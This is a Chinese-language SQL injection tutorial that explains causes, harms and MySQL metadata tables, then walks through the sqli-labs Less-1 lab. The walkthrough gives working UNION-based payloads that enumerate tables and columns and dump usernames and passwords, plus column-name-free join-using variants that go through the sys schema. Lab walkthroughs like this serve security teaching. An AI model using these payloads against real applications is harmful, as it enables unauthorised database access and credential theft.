什么是SQL注入
原理:
SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息
解釋:當我們用戶在前端瀏覽器頁面做一些事情的時候,當需要與數據庫進行交互時,比如最簡單的登陸賬號,web應用程序接收到我們賬號密碼后,需要后臺有這樣一個數據庫的命令,去查詢數據庫中是否有這樣的一個賬號密碼與之對應,然后做出判斷:是否存在用戶名,若存在,用戶名與密碼是否相匹配。然而,當數據庫的這個命令直接被用戶去操控,用戶直接對數據庫進行任意操作。這樣所帶來的隱患是極其嚴重的。我們稱之為存在SQL注入漏洞。
起因:
? ? ?為什么會有SQL注入?
- 代碼對帶入SQL語句的參數過濾不嚴格
- 未啟用框架的安全配置,例如:PHP的magic_quotes_gpc
- 未使用框架安全的查詢方法
- 測試接口未刪除
- 未啟用防火墻
- 未使用其他的安全防護設備
- .......
危害 :
這些危害包括但不局限于:
- 數據庫信息泄漏:數據庫中存放的用戶的隱私信息的泄露。
- 網頁篡改:通過操作數據庫對特定網頁進行篡改。
- 網站被掛馬。傳播惡意軟件:修改數據庫一些字段的值,嵌入網馬鏈接,進行掛馬攻擊。
- 數據庫被惡意操作。數據庫服務器被攻擊。數據庫的系統管理員帳戶被竄改。
- 服務器被遠程控制,被安裝后門。經由數據庫服務器提供的操作系統支持,讓黑客得以修改或控“制操作系統。
- 破壞讀盤數據,癱瘓全系統。 一些類型的數據庫系統能夠讓Sql指令操作文件系統,這使得Sql注入的危害被進一步放大。
場景:
哪些地方可能會存在SQL注入?
- ? 所有與數據庫進行交互的地方:
- 登陸框
- 搜索框
- 詳情頁
- 提交按鈕
前置知識
以下所有內容除特殊強調外數據庫均為Mysql
先來了解一下Mysql的一些基礎結構把
- 數據庫:information_schema(存放數據庫元信息)
其中三張常用的表
- schemata (存放數據庫名)
- tables (存放表名)
- columns(存放字段名)
schemata表:
? ? ?schema_name字段用來存儲數據庫名
tables表:
- table_schema(數據庫名)
- table_name(表名)
columns表:
- table_schema(數據庫名)
- table_name(表名)
- column_name(字段名)
SQL注入分類:
?SQL注入的類型很多,但不是嚴格的進行區分的。如報錯注入可發生在GET型注入中,也可發生在POST型注入中,以下列舉幾種常見的分類:
按照請求方法分類
- GET型注入
- POST型注入
按照SQL數據類型分類
- 整型注入
- 字符型注入
其他類型
- 報錯注入
- 布爾盲注
- 時間盲注
- Cookie注入
- User-Agent注入
判斷是否存在SQL注入
? 當我們在進行SQL注入時,首先要判斷他的注入點。其目的便是盡可能地使數據庫去執行我們的輸入:
單引號’、雙引號"、單括號)、雙括號))等看看是否報錯,如果報錯就可能存在SQL注入漏洞了。
在url后加and 1=1 、and 1=2、 -0、 +0、 .0、 .1等查看頁面回顯是否一樣來判斷所輸入的數據是否被當作數據庫命令執行。(部分注入存在回顯不明顯,可通過審查元素或者使用BurpSuite進行查看)
下面我們用sqli-labs 為實驗環境進行展開分析
1.sqli-labs第一關
1.1判斷是否存在sql注入
1.提示你輸入數字值的ID作為參數,我們輸入?id=1
?
2.通過數字值不同返回的內容也不同,所以我們輸入的內容是帶入到數據庫里面查詢了。
3.接下來我們判斷sql語句是否是拼接,且是字符型還是數字型。
當我加了'之后顯示語法錯誤
但是我注釋掉'之后有數據顯示?
4.可以根據結果指定是字符型且存在sql注入漏洞。因為該頁面存在回顯,所以我們可以使用聯合查詢。聯合查詢原理簡單說一下,聯合查詢就是兩個sql語句一起查詢,兩張表具有相同的列數,且字段名是一樣的。
之后通過order by 后加數字來判斷有多少個字段若 order by 2返回正常 則說明字段數大于等于2。由該處 order by 3正常 order by 4返回錯誤可判斷字段數為3
?
?知道字段后我們就可以聯合查詢
127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,3--+
?
-
使用函數version(),database()替換占位數字回顯出數據庫版本信息和名稱
知道庫名(security)之后數據庫的所有表名
id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
查列名
?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+
我們查到了庫里有id,username,password,就能查到里邊具體的數據??
/?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users--+
?ok,我們查到了數據,就可以.......🤣
衍生一下,如果我們的information schema被過濾,怎末版。
1.2學習一下無列名注入?
?有沒有代替information schema的呢?
在5.7以上的MYSQL中,新增了sys數據庫,該庫的基礎數據來自information_schema和performance_chema,其本身不存儲數據。可以通過其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)來獲取表名。
利用join-using注列名
通過系統關鍵字join可建立兩表之間的內連接,通過對想要查詢列名所在的表與其自身
爆表名
?id=-1%27union%20select%201,2,group_concat(table_name)from%20sys.schema_auto_increment_columns%20where%20table_schema=database()--+
/?id=-1%27union%20select%201,2,group_concat(table_name)from%20sys.schema_table_statistics_with_buffer%20where%20table_schema=database()--+
?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b)%20as%20c--+
?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b%20using(id))c--+
/?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b%20using(id,username))%20as%20c--+
?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b%20using(id,username,password))%20as%20c--+
?這就把列名一步一步全部弄出來了。